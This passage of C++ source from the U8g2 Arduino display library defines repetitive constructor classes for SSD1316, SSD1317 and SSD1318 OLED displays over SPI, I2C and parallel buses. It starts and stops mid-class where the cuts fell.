public U8G2 { public: U8G2_SSD1316_128X32_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1316_i2c_128x32_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1316_128X32_2_SW_I2C : public U8G2 { public: U8G2_SSD1316_128X32_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1316_i2c_128x32_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1316_128X32_2_HW_I2C : public U8G2 { public: U8G2_SSD1316_128X32_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1316_i2c_128x32_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1316_128X32_2_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1316_128X32_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1316_i2c_128x32_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1316_128X32_F_SW_I2C : public U8G2 { public: U8G2_SSD1316_128X32_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1316_i2c_128x32_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1316_128X32_F_HW_I2C : public U8G2 { public: U8G2_SSD1316_128X32_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1316_i2c_128x32_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1316_128X32_F_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1316_128X32_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1316_i2c_128x32_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1316_96X32_1_4W_SW_SPI : public U8G2 { public: U8G2_SSD1316_96X32_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1316_96x32_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1316_96X32_1_4W_HW_SPI : public U8G2 { public: U8G2_SSD1316_96X32_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1316_96x32_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1316_96X32_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1316_96X32_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1316_96x32_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1316_96X32_1_6800 : public U8G2 { public: U8G2_SSD1316_96X32_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1316_96x32_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1316_96X32_1_8080 : public U8G2 { public: U8G2_SSD1316_96X32_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1316_96x32_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1316_96X32_2_4W_SW_SPI : public U8G2 { public: U8G2_SSD1316_96X32_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1316_96x32_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1316_96X32_2_4W_HW_SPI : public U8G2 { public: U8G2_SSD1316_96X32_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1316_96x32_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1316_96X32_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1316_96X32_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1316_96x32_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1316_96X32_2_6800 : public U8G2 { public: U8G2_SSD1316_96X32_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1316_96x32_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1316_96X32_2_8080 : public U8G2 { public: U8G2_SSD1316_96X32_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1316_96x32_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1316_96X32_F_4W_SW_SPI : public U8G2 { public: U8G2_SSD1316_96X32_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1316_96x32_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1316_96X32_F_4W_HW_SPI : public U8G2 { public: U8G2_SSD1316_96X32_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1316_96x32_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1316_96X32_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1316_96X32_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1316_96x32_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1316_96X32_F_6800 : public U8G2 { public: U8G2_SSD1316_96X32_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1316_96x32_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1316_96X32_F_8080 : public U8G2 { public: U8G2_SSD1316_96X32_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1316_96x32_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1316_96X32_1_SW_I2C : public U8G2 { public: U8G2_SSD1316_96X32_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1316_i2c_96x32_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1316_96X32_1_HW_I2C : public U8G2 { public: U8G2_SSD1316_96X32_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1316_i2c_96x32_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1316_96X32_1_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1316_96X32_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1316_i2c_96x32_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1316_96X32_2_SW_I2C : public U8G2 { public: U8G2_SSD1316_96X32_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1316_i2c_96x32_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1316_96X32_2_HW_I2C : public U8G2 { public: U8G2_SSD1316_96X32_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1316_i2c_96x32_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1316_96X32_2_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1316_96X32_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1316_i2c_96x32_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1316_96X32_F_SW_I2C : public U8G2 { public: U8G2_SSD1316_96X32_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1316_i2c_96x32_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1316_96X32_F_HW_I2C : public U8G2 { public: U8G2_SSD1316_96X32_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1316_i2c_96x32_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1316_96X32_F_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1316_96X32_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1316_i2c_96x32_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1317_96X96_1_4W_SW_SPI : public U8G2 { public: U8G2_SSD1317_96X96_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1317_96x96_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1317_96X96_1_4W_HW_SPI : public U8G2 { public: U8G2_SSD1317_96X96_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1317_96x96_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1317_96X96_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1317_96X96_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1317_96x96_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1317_96X96_1_6800 : public U8G2 { public: U8G2_SSD1317_96X96_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1317_96x96_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1317_96X96_1_8080 : public U8G2 { public: U8G2_SSD1317_96X96_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1317_96x96_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1317_96X96_2_4W_SW_SPI : public U8G2 { public: U8G2_SSD1317_96X96_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1317_96x96_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1317_96X96_2_4W_HW_SPI : public U8G2 { public: U8G2_SSD1317_96X96_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1317_96x96_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1317_96X96_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1317_96X96_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1317_96x96_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1317_96X96_2_6800 : public U8G2 { public: U8G2_SSD1317_96X96_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1317_96x96_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1317_96X96_2_8080 : public U8G2 { public: U8G2_SSD1317_96X96_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1317_96x96_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1317_96X96_F_4W_SW_SPI : public U8G2 { public: U8G2_SSD1317_96X96_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1317_96x96_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1317_96X96_F_4W_HW_SPI : public U8G2 { public: U8G2_SSD1317_96X96_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1317_96x96_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1317_96X96_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1317_96X96_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1317_96x96_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1317_96X96_F_6800 : public U8G2 { public: U8G2_SSD1317_96X96_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1317_96x96_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1317_96X96_F_8080 : public U8G2 { public: U8G2_SSD1317_96X96_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1317_96x96_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1317_96X96_1_SW_I2C : public U8G2 { public: U8G2_SSD1317_96X96_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1317_i2c_96x96_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1317_96X96_1_HW_I2C : public U8G2 { public: U8G2_SSD1317_96X96_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1317_i2c_96x96_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1317_96X96_1_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1317_96X96_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1317_i2c_96x96_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1317_96X96_2_SW_I2C : public U8G2 { public: U8G2_SSD1317_96X96_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1317_i2c_96x96_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1317_96X96_2_HW_I2C : public U8G2 { public: U8G2_SSD1317_96X96_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1317_i2c_96x96_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1317_96X96_2_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1317_96X96_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1317_i2c_96x96_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1317_96X96_F_SW_I2C : public U8G2 { public: U8G2_SSD1317_96X96_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1317_i2c_96x96_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1317_96X96_F_HW_I2C : public U8G2 { public: U8G2_SSD1317_96X96_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1317_i2c_96x96_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1317_96X96_F_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1317_96X96_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1317_i2c_96x96_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1318_128X96_1_4W_SW_SPI : public U8G2 { public: U8G2_SSD1318_128X96_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1318_128x96_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1318_128X96_1_4W_HW_SPI : public U8G2 { public: U8G2_SSD1318_128X96_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1318_128x96_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1318_128X96_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1318_128X96_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1318_128x96_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1318_128X96_1_3W_SW_SPI : public U8G2 { public: U8G2_SSD1318_128X96_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1318_128x96_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1318_128X96_1_3W_HW_SPI : public U8G2 { public: U8G2_SSD1318_128X96_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1318_128x96_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); 